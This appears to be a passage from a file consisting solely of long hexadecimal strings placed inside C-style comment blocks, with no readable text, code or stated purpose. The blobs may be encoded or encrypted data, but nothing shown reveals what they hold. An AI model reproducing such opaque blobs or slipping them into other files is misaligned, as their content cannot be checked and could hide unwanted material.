c3e523fcf16f177090fd3c5a6879e2574e8073957ef248e0beb0b010bf9af23dcdecadfbc09af136e160d68e0d3303d014a9038876f4b71ffa02a2635e399f3979cb1f2312b9b9f1620e1ef27c4b58a816eba0ae47e205307b43b9e4b4db96768c5ce21429f8cbf332388cbb4290fc26dc8b5cb00bb69d87e292b6dac376a3af512e574f2fd6c11f354124431990fe6c9235bd31269ed16928eae065dab7d188632269252d804cd5d89f5dd53b6844c731cee0787769289ba4da4e33f6e332fce635ffd99eca2f5289c267905b55e0c9a59da5d44b59f255d1e7a68f61f555d847242aa0e52fa52d807a3ee1100616ca7616aaa8fad3e7c3dfca14433d9bb147f5ff0324c0d9239957fd12da9e06eed350deb88186752af1c4436204cb58f7806deb2104adee523ca1392f634a9aaa6a4959da323e66048ab1056efcbadd888d773c38924e1b7b9eb5539edee430339beb936183ed59e60f772bf16312e8fbefbb6cc2c942ed829c978789de9f9019a47d627ae1dcc36603a2a4b02786bac80237967ac121b37f9bb37096e877213dcc106874833a4f3bb8d6810ad2bebca265fd3e474a1cebc7e7c446cc44b06cb0783a99e028b9c3bee52d9c459a79ebc4e3af89294fdf6ad22d781a6aad1bf45fe0323ac9d7ccc4bdb7c3d42f0fc40cbcfb14425e8aab0a984c2ca4bf9f48f94da15e7f59e6e923e12d393b9e4fd6218ed23684c9b85e7900a47a8910cead79983d8f6d701daee50ea46ac23904e4afb5aeb4619912fa27cb335c1231d45123a217776ab5f99*/
/*753aabe7cb7445473ef22b163fdfa11cb97dad6ffa590ddd2f2115616297d0ccc6ed110a6b7a353cb813404d8638110c263917779932147e7ad3952e342cfb90797b288f0d1344bd9a8a25758b1ba2b831a121fc10f36b9e8a65148663c5d978f9bbac337f086ac2c44245a4aba6815670550e04f6a51ea83ffe6c4d6a43bd5be822f6d96ed59c27a3a13cacec7d78f3d483b62bf7b11b7ea8bc60ed773743797f926e2b57530fbb3e5a3c6313a04ed96a56fd15a4b3bd9098cfe03ad06107379f3a252d4e4c350990ac8917fb1ce17e4fd44df195afcf6aaef4de2dbe7a562663aa1addf72d49f1db62c1028b31fab124943272557d025be512ef967da2449c1003eef39c88c628e5ef62228de85ba778ff71c6f5e35f9b74defd384a04f13eff4c0aee9fa45d634a425247564ccbe094b1d1d5d827b3878eb042e758237b8c723501b8bc93cbd1b31ce903a976eeed6d8eefedc98656618985f6aed772ff1d5df38ef8cb30d0f3ca702e132df069c69f7fac1ce62219230162aae4e03232736eb2861abbb119a076aa59f7268ef4176601c1e149904d5eddd030596c55b3910c25a871a92ef532f9039178206f0cfeefa88b3f3a158ebb9dd1e4795132a516804771cee24386db498255b3a07a8db8b44b5d5d0ff55f22703cd5b61e0f199bd751af1deabb880e9c9bea85606d1cadc562f6c5b265bda1719af7c5325765655a3cec4b8d02c62526a46ae62016aa5014903846fe3db0c82b0e965d9671ea6a2d71568d4b83637be9297be463dd3e1b04134115c41b5cf65aacd4f09d929eaa8b6a65dcf98702fb1d0cfc8fd5b9f6964bf811dd732b62bcafa899629d69bcf42a4494fafa563490393f5744d4d62a62e927f733c484f310dec75fa34c2006e3ae3d217f12edee58767e8d9e44f8598cfa9298320951cf2f9510809a3bf8b010ef0b02461d307cf037da7b7cf5f030339463f16128e429159288b712a26a8a4ea1268238e63076cf307ed45d1285794a0840cda25b609216e6380f5bf78bcf6b2e2cc132f2f92a056371ecaa3fdc6db24f9e1fed261e5e4992d3f12f94ad675c92d71ccb21fc291795519d853106937452239358e9b35741a00e500db668b39738e751b828408a98cbaf749bcc3dc3b619892499f6854bb03d8d98c242995bb0e6a8ef546c200ed0a5d5fa3a62ba1607ff67d9e115cf975a25b8f6b4c1d87d661014c4382317f7274c7366055227a1c4a8de5412bb00c40951fca008b6c7b422171def259f9aa1b684568d61b645c54c9f412fe2d7c322259a02606dc853da70485a5e7251d49cd0a8b6f12bcf02eadd97df038200a485114e4565b9ad339c533cf78d359c812315e393d06761eb9638ebf29fdb8b36dd404c8ad4689b35d5bfbf8a2f322e948a7bc95722cc69709e52bbcaac29d2917296ed09b0ae0419867f60d900d18148b242d6ff65ed74f7553252c1198a176020243d5882cae361150c47ecc6a30650fb742a3c64dd520c79ad94e55ce1d27f60fe0dd66d1c2b65a899ff04f1d74d842eba7848cbc60cec301277fb80632839f9ed06e000c05ed1e05e2dc70f0765a9a61128ba2a7fb3598a8b6bff33868ce7e3b48327eba30723223e07e053d8e2789ada621551a66b534d23115364ce7fb0fc39bfb33f5a1ee7ad607a06d57e0a487cb0f33835b76a1f7260732016eab8d88f233a8a85e860b2ad733a13c8a47f3097b7f4773cba19fd99f73d6090b4121270c0ee1b6395656ec99c174a6238162e038075860b9020a138bb452bb35bfa4ce570b1d3bee2e401f7c8dab227f9c2f2d17c64dab1b24d5f34566cb10d01aff0d67227e411e8fc4cd1d8fca29bfcc239fbbbed37df3ac5583b40c2b0d9385085266082383b0ac0996d3da729cf22f76cd56d627eca6517d45e6a5f499a11b5cff5435967a53b06e7b74d5d248da20a0ebb2ab4c5cfc2bc5cf62d42ab354bcf5c85ea446bd71e757bbfe12f9a9d5bb11b6c151f818e406e0d9705620a08dd01063a9480cf654050b7cbca0eb0edd424c29e74c350d4ce74a0de52803ae4fa995b04623d60ffc70084d4aade975ba9b06e1218d81a2facf23a50daf15da102f2ae1991656a5122b9604a6ce4f20f5ea2c08ee13e9123decb7d53f4f38eb133e62610df8afef2205be4d9e3a6bf287910015f1d1e3e9bf1ac97ca60d0e1ddec811175af8a63ee7dc122ab22349a1ae7f8038851914125ca39227bb75e08eed9779b64b410d1104a276c82ec59a8506120f8160683133b09dca1a1c489002de0d0ba72f58ea8956ed7c64078a96bb495714591ef3d1aa4dfd0180cc315ccc36cd4851db16c8dff7bae050cf170f8b8bdd976bd38a995ff34f32a7a5cc5a4ef76e88793788ef6a26f3fd5bb7cde3a39745726da6417fd9ed87017b99a410b0fdf7fca85ab3abc0dbe26cfa86edfd24e64f8f7a52504828d5106c625c4fa07762f1203e62ab4e62262afff28110e5b6ec80d156362cc92ead593beda66035f36315acf328d8e42e2dca98e36abb68929f801cbf02f35c9ee899104babd2cc3fa0a377f6f39e0dacb2a00a765cb2f95ac4e4a495cc5ba25725fca38b9183858a31d7ecec7dd44b4fd2a9cdcaba0461772763bb84eba1d53fc5fa5b391a5352ab8776a4b17c3c474bd26764212d73ee8db53be45706fc2fa50cf11a064afc95e2b88d55fd57a3a9a6b33e6a242ce653c6f3b88824ae2f86cb634245ec7c5a94418940a92f6ddbb29253260e02ca54df3f1b7a228103865e33f2d6fb9b780f79149f3f63c8b3fe1226f56e1ca353dee8e511193b72925b0047cfdb5d9b189*/
/*98a64cba893d6dc24d64403dd36b123231e6d8f78d85dc634e7518d133c506bc5038f9439d8fcfac1f8cc5914e63a8c38257f2ff9cc5a4451fee9e96335a681ed66f0cd1a691e5019b44b0dc12819d9460a4df33f0bed8c58941a775a20721d7b6939351440c170db5e873cbaee2c5fa37526cbd40a8bf3e1e4ec69c2873ed62993897fb4f087d74d19c86043f994855d18117132f68e119b1b2571d9b5dc9ee1566ec6fa53a0763935892b3816425f2bf7a97eef76eda5007cc0e11fba1b6c3e8f0a0d61224b18f9f67c805645b91caaab8454e144eff1067a4c8d7d90489568dbbe6380c0bdfdfa06bdc009778950b9c684b543b9d52c2a96b9e52294fda9e3bc7a3e18467aec5359658f241f73b96bcebe114bf2dc853ccb690f4121d499cf3c9ba100cc33910c5f4ce5cb0e6fa849279f56a7fd4b2b7c71b976cd5bcf9b3a463658fc34cfae153a1335cf13a55cad1e51109ba647782e2be8e21f69a0be285cf127a8cda88d39e19d67effb982a9f3ddf88e5ec0c777cb5c62f18f695c9ba3c04601606043aa31d88d8d8e7cb5c4c2229a1974382b2567fbba079872f79fc59b4d69154e4fa7b7923e49bab1f1c114da1dabd0baed9bad99d2df7038880f7ad8f73814f63474bd6b0fae1c498ae740d335ca803ada5dec5e6d51536dec21f0f810bb7e740ac304a6a4b14195bc26f6f5e3d21dd3255e36ffc4cfa53c8eaebe2a42f121fabce09292c315fff11d865af05c65880716cb527ce017683c683dd0dbdc9d1dce6ed81afcca412ef53605de1af4bcad98333d5abdc3f2f48982ee23c284dfcf5d0ff9ceb301d820823e0fdb951151af137f949fe5761b35edf2d0e2e8757ff6fd78c701c0937802b87bf534290cd8e288b4a29ffcb6a206ed249106a09c1dc50da0dcae24302fae6116e42e292d9d5b99ce6a75d2d9a5f476910961489d2248ca686c8bedc8221df4a8e701d81cbdca9fa1b8f6345a596def07c5f3c50905a2323d35957e131fb94c206c8e5f1d1b67f37a478aa5442675c0faa611f3dc8d2a24d21dda2950fbf1b6465ecf789e4be5d8ab8ff796eb9198f6690297bcbc81acb4a55e1a54488ea5646920b4adb07c53066403ef311a1f7af6f722d4cc53f95f77f8b4296baa397632fce302c5341048d6b0785a5d2ad7af61185b06673ce6330b150f0690b5499e95e76f27040f04e1503df7d241403576b402292dcd7633a181e916933d7ed619c7357066db2cf18b700f52a285ffc07840d1387c21d600abddb89c890cb519f74255d1aadd2afa76acb5f6049c9548d103d0e5fcaa72df2f78e2fbcc01d5ec457344c784d3ef3bf73f12f5748e7c928a78c601b1ae23e9b4606ab63f2320197e81f191bd5604572109bfa3fe1fa03e13deb6edb2eb023a8f2a68b02b4602a6894bad190b39582bd597b1e891ee61c39febe73de6e2b594629ecb9070040f9aaf4140a499a91be1579b23da9c3f60c1a43c16c07a29db11d74a909c72e947be76f1609873295cfff4b3f04b2f993ea40cd9caa70ccd880bb6124113f11868b54d5bc7f8818559c9bef07eb00ee13be77adad35e1244f7d27ffd032777afb06e1752eeed0b646ee271341a426651164e7764e6faa8dfea8f953ef59de262c53ed513bc1f59b63752547ec2f26fceab8b383f5871144ce33d5dc75ac07e25bf2e2253fd981c0a6a123c20982b38eaf55edb2d86972fc5a2ad0d2fc8c1c202a1f0abfe38cfe66e8db035f0b439cac7d0a1b21820f73fc1b11028a427a99f2ba57020f6eb72bede25395853524ede3c951431959bff9aa768c342d654f39be3d4160921b2ffc1a3754ec76433de53fdede37833926a6b8980f81c373d5ddfd15a9d55b3cfcc0361ce4c806a621557860e0f6f1d43764e9a4ea091bc7143a136d6ef81cdb81f9ff57afe6fbc324f5c92ffaf5c76db04cd6aa104b3fd903d78898425e2ed749cbdf5ff7a537e562c0fad5ec2293692fdc7b5718e98fb4fa73e09cd509a7941e3fe89597e385aa1a0d680105971eebc9a37a88489904a22a47eb16bf10bad7e927dc7e9e2dd22e5c2f50abff495973fafbcdaa375597a16dfab216a088ada0ba67ab4d2269dc996be9833aac315d90d0b0e3b36ce2b0d36407107d1f182a4543901cb1c67b9525fa993ecaaf014d9f4f39c6a4e60c6d4fccaeced6cc5ba907d8576cfd11532f7768d29dbf4202ea12f3c093750951447fe8107272ff639bdb002d9d27580f86034750ff13bdd7cd1280327e4404a07c8d9a20fbd153ea3791c834258d0b4aacaa3f47bcb63981a0add1763500a5e915c59289e3a87546716460b27965e42af985de39c412693e172f0e048fbae373cf18350c87c9e044efe838d9d9b18ea0052b8a08ac80644d5d366338a0d8f188a05ef55ffeb7cae47c933b676762b6a7827b65654bb0394a3708e3d177fd95f831fbbb345094c26da4340b91e9e29f9fed6d52d7af5a7de4ebb16270048970fa7f454b37ee0a77796cdc8ddaf09930c1c90aecbc4021b8848e60718e4f257adebc82b43b07d364418698e4d5f433b37f50c1dc782081a4b0a318e2a1bded47adf038e45cf0cf36a91434366b83e7fdad2a262340e4c44c33c325ecfacf7727cbc0410f6ae8d581385153daa629b38fea81fc4dd197c988cbd92157d5a5ca9734f50d9029903b04e642d2bc57c03b51beff924d5a70764f1e93c720a91da7db88e3ffc200d8705773d7985cca06c9e85d6d9238971592c26fedae582377308b703638cd0d4cee80e024e95aab8a114be2eafdc00799788dfde5d3a24fd5c84c4766df59b8f423b58aab9cf36*/
/*49eec6855743875deb066575cfa00627c8a84c99424ab1cfbb806246a5b34948af1b9ed21a8c4ff4edce3b802c207b962d683f4bddf552c99a07e41923d95dd6c1abcb0979e9b03512df8fdaaa597cd334735337de9f732cdd266d98a54d5ca493cc5488b6a3dc686a4931c5ef8b2b5fb6d0eb896f967bbd0cd8bfe96bf248172bc517befd9d52eaa392ddfb16d0607ff979bc08650ce12c3730fdba6da1adcd62078b25ad574fb282ab040cdf354a1c216ecf19f8bc68110fcc902c1ff737186e76a16a53ebf6e6c0d62ce72beaac643205d157d1fe7b751eb7edf757f36691a8c7ddd4ee220f9bae24534e79836e6244bc68483a5a159a3e845e8f6ee9e670c5fe0b179687d9393bb35aaa451058e7681b5c88b5caf1b76ae6f29cc508086f1d49ae7b0d2997db2a983ecf0407ccceea1a25840085504b161bd62bc124f426a2bc97a46f87354463e5ec1505e413ae870c2b35bd7de5154a827d6b4246d0a53461948db1fdaf298f107f8482d84eddec17ecf374270c65737e5b5f4f78c6dd215a2d966614f65960d9ab22e679a5465d86db9f382ef22de66d3246ba9cbf0fc45fe6d1283328192922d6854026d86bfd843cec9d2a0dc93962fd3c1b46f9d1d19a0330c7b3fb14de21499a1d8f12dfe9fc78200a0905b003cb3f525adeb6c7a517c8db258996f0e3c50f09c048c30ee0220354ad5ad636c9ef8fa5ac76e9d4cb73ee83e3aea0759c2cfdd8d191f4bc1ddf092952a01de925ad728e578c37863e28134758ada1731e2b18bb480053057289bb6f3dc3ef23e4ed1294471f28dcfb2dcf873902aa10216d61cae74997bf1641b48f6b9d1ede8743df843c49eb795123f235e0372e6c1d21e6bf5f78bd8e44b710ef79d473b801d119e540680fa54a6d87cf469107c0058f8985fe1f2de700cfa021d5ffc5e474f5ab32ab88a5aac610ffd5eecc84e10331d97b1da7cc50fe850a9cfa645aecb495e35fe81a3be4197bd41fef8effb09811992e24382ef1a8118e9814a835c7e30ebdcb82ac7f7678607772cb145299ee802a9901ad27078d33a5b18fd27dbbf16332c9a7eb4829a3944db18547ca7dd6c408c29d1234fb83a8f8fa1da799fa6dc54611a588a58e31510456e40927edd2b7ad49de505ea215ad7f4a6dfe984a661d344f449697092f59d121e88e9de35976bfe418aa432cba4d2f51627b746d1bb52a7539ed552b84766261226f9c12bbabf86e1cca2ace66bf2ca3be3b5013d6ffa5fe85f897a3993a0a9300cbd803ce3b86c13f0c327631f7e4a31722da2e98471a47d46c46d20f97b30826cc0ab46ef74a81214e5ee6ac78a459e1f61c1801eb12113436601b6dd2cc01c91476bf91ed56dd2df066ed87e404f2e7c2d0098ad14f575fb5be96c3c90bf16b5cc7ad1b80e10d99b343413bd16a0c66c23c59296924bce7198aa6c40a393ff43ad5772c02c871053afcf5ae888c327a31d86e2c33e0c33c2047bfa4d9a67fa4a4d1b0a77cf46310af42a3c6a196df6de02609cc3d2949615511eab476a17fece3c4be4c0c91afac626331473c2faae7025416ed66303129db453786bfc72018bf3452a69c2cba9e5c1cbe5d35824119c09bd33e03a81b4a49a51cc677d8b3c584b64a88d79ca1935b058df0275a9aef51cd925d6bf28e08242957202238580dfef666571f99d1d313b9bacbb21423a35b7b4e409474c34d8ea323c853048251cce64ee114a3badc4045c574a3bae51d5876141eb57a9f89c83e59cc38d48d864232928db2199917ff90455c4606d8832397e075bb69ea1918dcda8d2cb584a01bd455073fc575e11672f75c88d5edca92eed0fd4131830adc79288013c85381373be3418348ca3dbc8598f4e405c65f11d3bf65ea78b4986ae4819947554c96e9bf124b3c96fdc233918a73676986678d3b7f7d963e1ca99b67042ee630e13cf467c03916b9ef972e433f180f6067081814a9ba11d7a4b70a86a2e3978f3bae37ff9f9b0780ad9717f2c2116857f922c74a332df56330299dd69fa93e8533fbd6feb305d6023cff6907c0df45945ac1382b835bbce80fa26ba8fdacbeb87cda328a5e3ce765f16b18d568dc17f862d716402178491a880c0c7c064299111b420a22060f7082b9f2699375fe2d01ec22cd297cc45be5d2ff3b63926440ac8ad60d9eb238ff9848e46dc53769f1f2642437f1eb244382fba7f0ab780815b0445b1bbfb2708f1b3f8c996f0d72add726f4cfac1f8046917fb98902da9a1ba21fe65ea9b73f3dbb615d39eb13ccb0a1fce176b77c8f1f1599d12a75fdf3005285665288394c8cb968ee038d85fce545261e8baa10129071e1c9929a3101e38a30c3e5cc15b4d8ad95951f60c089bdbc6b36f454f30ef0a89256df98c41c8d0b72349e67b99c1107e64ebf2d50bee81cf81949b3088cade81439104bf16973eefde9d9a08d1ac49688bfa84be6ea93e55c2244a09e86387684d5e9e30dab0a60d5212e78361af5f4a9b2e8d087b58e6d63b1079be87160d3894e6e556afe39907d97ea12a9d909328750bdf16a6d341c8a605a870f391832e714f3dd7ff0d0a4a3f941e731906259ab82f6b7994ba7f2e9c296932c69d6362ca86e7fa291a760c4a7f7b8ebf58b118ed91d3ebc2d66b6fe4181c1dc0338a741def583ec96be9ead41892c059b9e8515bb487d4cc663d9c972d91da7c8d0256634e06eb14a8cb55f0cbb99485962dfea11b9ff4514991e3965d69e37a3b72fc742def2ea96a84f6e60f2657d71de4fecd359d9934ddba7e2717e29d9ff0cf5f78f151d8c5c1de3aedb86a1a16e940e37b8ed3547*/
/*68262d186762438bc2d02276ec4d8307f91dd5c3290a93386ed0ea3a067d41e5d991d411ec84788f6a07a5898d42a982c74debaccbe481fa3066e2d7fec4603a6ad4bffcdf237dc35719d1b34e86b033b52df0a4963ccbd30ca047cb33a6e8cde00713ebc2a2184000156acc85e94dc4a131ffc8c2ccbae13a5c6d0cd329855cb7aa7bbc85b7bb6b5a4ab35c817a49fdc02e0142d2458cd6ef584d79e75a97e9f04047e43f443d3a8454d5ac85bbd8d9d635dfe8a3f16b929c9749337ee2ab17535ef8a7eee08ff3cd60283ea2e45cd741b546c03b7b625f2b797621af8d970134faaf58b3100e96c3983bdb3adab059ca110f9eb0090c88551a8ce8f2d6afc8fc67467392a60d1504c2e56e006332fc4683c356a03debd491c146267f2b0b759e5e512841d2d3116db11258431ce01a3244f894705316167d38653df6648b7aee983d6fda302470bf925c5a6452056ea337949e34feb31afbcf3b08a8e7c2d4cf3f3b56face3aba75d7b47304c4d4b41b453e7789e4550495282b25fa37a1b1548bd3f73a3f0ba5aaf081632e1f6139030ac57011bb5d6f26d6e6f827028aa5e0bf19da99b15523d8382e139a808e3a91026da39f5e9efc2db4fd49a13a8abea30911b822e4ffae46c7d8b51a1a974c411698c93a11a6a245ba0de4e30ee3a6a0e854d6fb681eb2d3878153c25a0f54b0b658ab5e742160a0f9b3d458bce75650afb92a1bc3b0c859181dfe0477b92d825c4d19606ebe8c170b94010ba7ea1ce8cec7ffad47d5d00ddd9e467f7a435dec2a9a1334d370a0f4a2123bc9b9fb5680786e9c3e70d02949fa1a8c9cf79c5f1fa5d563e1de47ff9ecea4d3f649b8ce16e5478d47ca3166e299e71b5472bbea2f1e96b01de29c66890b6833a56a7cb718c1ceb39d0462e7e9bcedbf55ab86330c258daa8630a5932b55a3ab4f5399d695a491dd12210a7d28bd57f3c705b6fd0edcbb2b24d15df965c6fd4e57c8fd9f6be6a396d69fae102427a82f10edd4c34548c932571bc40c15557abb0d68061ebb405497b118ca76ee474d47c6f8f363ac951fa5130545e025b11ef0e972398d4e503736a2c6acf3edac28d6cc1bcdf93c37154bf204fa739dbc41de2b761db0ae9408d6b6cfa108bdcad04f9aa79af4c2d88b9d1ab6d55b96523ed7fc4b59146982114a82ad39206c485b8d380577827c6a500a05811e7c042242307c254b47da79df0772b9ed3e51c89dd6d793079b528576daef370cec99df645c2cd04830bf185a668b9fe0f9e5cf2a50eba1e80a6ceedf7c3626cbabadb8521c46f6da11cf290c3a4c71b2a96471867e612c7721cd3226f32e4ea17678a9ab16bf225fa58b80cd98fffd437671268a06e1967e1828ece8945fe9d812eee3ca99b9f61d94bb9a5221d5f17528eb185197fd32b0592d5875fd3f897703a79147b807cfbfe6de4427f3f4b10b434b1f1f70f2c0e61658dd5feabdec1c631ddf3c3795eece70c2affba1286f84bf98b010255967085fe3c776ff5b8082887656928b5bafc0ef19711d98579d60467a7568ccaa2811e99054099dc8f877f6339995ebe805119c619f7817c045a436f016440497c92cb6abd447d62a107b0196bc978c68a314706bc7c83bffe10ad8a7bf75ffe9957b0941b5320564709f5b03bc55a81a6e1d4569cd2df53b011d37527574181688accbf2b38307a501c4e600e7e13422d0180d9dae1d430b5ba0d5d7fc8844866d24833e7f528117bba9d03574fe835c2e989b167974003483fb4c2fc3dff24ae79b16615d6800a9ffb5a134591f56a4dd4d8a3d35e5a2f22547e88f25b3c7ff00f8d48ec36f1f3fc6e3cf0fc35365c0644ef31b076675b896e6e189d91e7dd30e85e43a8d5f11a1f66ddaeea05cab7455d95663967cda4761a09cac609bc89c793ec00ab3ad93496654c570b1e21f787efc22756f194463eeceb4819f90c5e5e7621abbc6dd3a1e81befb3c31b7e5719d99e3de8b96b415faa12343e77143a8b32b1a10351d7e2273760de8bb7899af09e4b6761a049f88e81aa37fe336fa73a05f1c6faa2251e306908517470ce841b30c724f05cbe32e8d29d1ac44ac4ce5a23ff7229de290d9d297f4d2684fc9b520e6e00aacaf0022d522b880150b5bb963541ef71c5160086a3b661eb87d2bbe70f17e5fcfc26d9be398e9229c21370286f811dcfb2d269cfa8509a840c651595e735cef918ad36685754e00d77ff15dcbe7ae526b701eb309346c69b4f14f724c3886143a8061ec10edc15021e3c560232654ffca74ad1fb2fbf2bd1dcec5030d789130b5aa3957f543328411c5ec1ea8de4e78d0968844a15713d87e54e7da27ff2a43a8ccec657f4737162aaddc8287bde227a094236c71c518113711e7de4eaf85c291a87eb0d4b2780d0d35b6e4af017f0a1337a829cc0c504e6ad767a6e8f9ab215ef7c4ad1c7484f4e6d93021f605b2d21c0976562c8038d3171a5cfa143989a35a8b14af68547ab2238c44c1e0b7f13abb8bf741efbfcbd609c5d8d8201da345baa2fcfffe84f6da1267424f87044de1662ae7e292d5b65ce273acc2a12991e876073969224a241e9397ff6f79afd86c07ade3e6a6a0253c38d785809a4266a2df2c79b0dbd1fb29582492f1d8a38cfd38fa2a89e4050a1f63370e14a97422139b1267fe41ef4f7228e099ceca9eb7312a1e219a24f81bbf1188690b491bc6646708abfcd533b9036b8c13f3d027711189d7b439a6e13ec09065ff37e7d47a54333f2d08a5c337ccba26e3bee02dca2fa7107399ca1e3dc06dfc97acced3f2151be31a41c6f91d774e6efdb57f076f*/
/*5e339a990bf25809bb974deab81d666221a136ec7e9b82ee9afdf34081073d9ec9e5ba72947d52e032b89ac7733b507fed21bc4cf698a759ee53b718b0d1386136744c035bce6b5e77a444f7b7ec53521125c47a35a25236da0c97cfc28a5718fdd3d6f75037548333c7d7bbb3b4eb4ab714c598b5ef727a88e200d23376198b9f2f3e769991e7b71f71f345e199a048c2e9e2bbe294097c422840317099e7f3a22201931a69aa650211991abbfd37f7bd9b3ebd12378425bb8a8dc4921275b92864cf63bbab297b87a82f20dc956326be4ca3a6ac581ef6e63fdf024f68edd34b62e5bd598dc7c940da317496b7a3181320ffb4d91aa535dc73bf0132aa24b094c06c3a9db1ae53321a44f129cffb9c1fd5334969bf73f2d3099ad57fe79cccb065f51b10631a7f1d65a76cb13499b9ae6b234befb3c182f1d642eefca3a46319b09be1bc8d8ebae612784d4111037700f3e190489196adcfcb490797ebac04ed3730705b87223121efd0db03eb9e3801036c02251d360580f69a60e777f1d04e2c7db826fafb2bc473a72d169457800de19335665cec388329e6f00a53e939c13b605e732ea98c04819b0b458920154027aa790acd881b81dce2bbf2aa57297ba551a2d1d33d5d61d9ae8d5af70a820515771ccaed248e12b988ab5d274036b1aa36669d7296bb243b0dbb977a9752ec2955c3da186a41cd02fe35f454b58113853670e78cb94168158bf562fd9861d74645bc454f52afd7ac2bc0c9a02f0281adc7214da18afa2c489b9fa38a635e2bebadd30a203f660176e1954551fd56eadff76ce72766a3a2e71a4f070fdca7b79e0b2bc7c53a8b31cc635f76e031f186165ee846bfd6be94a1a6c48a6c798bcba3582c04def041ea2514fec63a3f1541e993b01a8b94a3061550e71a96f7b30269053c1d4f9af76e5c0b324fe641e9143b37dd7b3c2966d397ba1ea199ebe88ccdc41df35d2d972ed48fd6cf143920538a8feb1c220dba9c68755892529662f7ade9e0be37d6feb701d6998e0daa0ae1af4169619bf59d7ee3eae0cec7e47c44dc6d436c6085df015c7ffb755b9aa048fd776447d36ded6a5591526d824041d69119ed499e8a4da4688e074f390e2c28c79d3fe35c9e8dab6d7e20f2e2384ce48abccd4f95b7c5966e2dbcc1190a4ce134956809763fcc7b072d6b2c3b60661809bcacd4145a4f23b504dee9036515aebe4d286860b9c9a05181dc19078597c6cac13c2ee0f4b01edc3e43a7498592cc574fd3f51be798590c2b68dc62ba9e2b953c58896e0151f002ad30fb84b54ce4f1acdb56baaa2f5fa70f47e349660b7ba9c9e6184ba564cdc239df3c7156c4a61e8ec60ae6309cfa4d10934cb53ab064bc2d20fc90db4e13a726ecbd421257d6a63280a2bf66e3eb6d0d2e9c562fa7f0e2b58f73a9017dc0039f86b8146f88fedc6fd8656e9dda97e546a0148c8318a70fea5e4e7277710072f4bac2c018c7eb9bdd6cef0506553b74c1afc291e76c349ae0c014db069c82adee44be8135ba24506547c09f2d52d505cd277bbcc26a7b2932ee057a2e01ec26a38a11cb8f6300dbf46ff0b68a656d8a26b3ceecdb40aa43f3e081a1301082f33be7ebd4e10b083d8e2dbad31167fdb06c14c599cb98becea9838ecb86405bda9cfc09a085582a51803ca5ce44ab83dc004e0fe6ca0356c926338e221bd8e83893db55de303903957ea9f5c4c40e45ff3fdfd898dde4de4e1f1d8dab31003ec9d03454e7e783680de2d3c05862c233e6e920981d7911bae22d4d35a8fa761cb162fe75df9ea0b4024d090a4bcd5eb97dc1498aa5300db6bd60619a50a972dcbff941923c37a954f36d044851081caa503cbff7fb3dae2d2c72f94c2d001fe9d7ab0b84f22e4a1e3f478140bd586beed9d82c140eeb4b56e879d4c6f1a234e1979e71a81c5741d3e0ac37e8832e70b86b3b72891681997de69d3901a6c7069e4f9d71ef8bcf6ac7c020b554141498d8c9dc3662296199420e88a4c8874fd509a1226c5f6adb533d692becde92068b85510a67d2fc1da6680dee2938ec1e592a232f3a6292f6af1898c639d50c7dcd88fba3a827368a02bb9ab3c1627e67ebd57a8305058b1e7996532976e37c56393827ddb807838405a081726fca22c762d15faeb5ee598e3c687b65ebd9e89fe7a4feb85ed18d25796d17a80d9a656458dfce69885e183bebd29b0f91ac7b9fd63abadd52bf00b3dc6157f88ca68a9b557efa6ad928e3029f5655d980ee5578d8c4597296b109163f1e6ab1f910b6c37e29ecd13fff44a77cccbffe32c79569111797702dcbf0bc3980cb07914c4b9152f52cc78813217f30fc15eea9a7a71debdf88fbd564b6ad4945af90ce7de05d82ba10396f941b7f02eee680c5ca2b472a4a57b8190cb21c2581b181a0366689dfc41210993705b5f95954de967416456d8159a988504013c62e2d54c993936cd3b680f3f22e012278c07c2b2372bc03838802fea8acc0726e222859cf7110f9d9aaa7c34b939abd3e0536b8f4376e77c0592e4621ad73085d93e63389948fc332e629df208d52f03f1d0b75b2d77404d4d7e4718bcd2568928daa2fe69fa4acbff51401a8912ffad7817dbfccd9adbfb75eed68212d9300a73b356e3179b9e661d2480a8b18483347fa7000aa4e567765b0d8074984bb07ca577a5509d4146d6af994b4ab2c02cb00cd175a1c29982b4722554cbec4d9f5e12be538e964cc191a8fb29e93ebcd639ff6d8dccbbdd1db6dd444b7f694a47c23e50c619a4fd272dbb1e7d2c4d8f54120e4293bdcea427806cffc48eac3e416a9*/
/*bd61ccc61a2af2cb0fd6738b371df4b18a90b7f5481bd0513be777b8f54125bf694af3ee96ea14765811dbff75961e790e749a4f6e6437b53fb76620632f593f9f47dbb1f0ed073325087cf69478d601f0ad70715901b3435265469e1a63c6099fd0231b80edd6612fe1e9cbc7f8906b4f1d2da3f46424ab7c22499d4be693c54aaa2d79bee4c0bed80976fe0a99a08a15e1eaee1950640b6c691af6c0e44c57229663bbbb177dbfaa496814438fcffa9d36b7b7de21dc6921be1e2a99ed670175d3f642d7a72ecbc1adf458c6a3eb379dd9f3c15bde925af2a840b8ba6339a1d21a22ee4cb6d03346377cba6aca2092c53af15f89aaeaf48de2bbb831b313f89cc3c2bbfb9640c8e2db68e36b385f6c4aa44d3f78a56ab0d900ebd0aa051b426d2640925e38c3aeffc66c59ed7f0ece87f617f80de427dbf0c4d7a211febe1ae1a9023038f4dc3ca6637995803b6ab23f274b14ab4e2b88ffaca10be2e40499816321e96e7372b6e5517fb5f25eb5294f9eda0e3ba08831d6bcd6bbbac75c700b57962bfab9bf31e332c42353d8e9beec0df94868652b6c2567c23be9c9c529b3b8bebbda4464ff4825c97d02c7acf1641e61b389ae79c9cf27e02c86d2b04b540f6d18193791c0cd7ebbc21e3846ecf3cdcee624ae76ce25f7a3a45a1734c6c7de705669b340453a65c4e0e5e722d3f3f8aeebf42773bf21e3880b092b173c80aff147be577195de5c9b144baa1d33c130132ed3e0abdffe0ad89fa505a03e93dafc118c6ed49d3959565b82c48537071843816eddd4b81d748f7d8475a6a96d055f2f2fb12d0ac0c0bdf2fc4219b1385dff77c81a5f2b9b54f25eaa672dc9c574385dab95bc63fe39f331127a55ac15b823c32ffffb5d339afdd3f168949cf1f5a4ae90421b91d6acc75675aecbcc5f70f16b4d9644d35cba7add6e2256f0f871583c3cbe808e45e712f9e55a469766daac5c8b1b2bf5eef9f0d2a9188e1adf697cbf246c679cf1359db89ef8e4ab817fccbc3c8d790f29e91288494cc2fe8a3de344aff6bd4dc6cf8b025a8b345b3135e081f99785f18d1e60109023bae415a2e4658fd0df18e1901dcfec773271e2d6131acf5360a6d200bff8062efab1129b1b7a0475dbb718ead7c253e2cf8b32d6c5afe0523b48fba44f66f32fe3590c1362fe54bd80dc800b8b6cb6fabc09d5d43baec2c13f9888d8cc052d48073f4e297f5ced4186eca85aa0cc7cd4637cf37036d2bf4a96055ce12ae448202f579eba943e996b911d4184fca40f5f873adf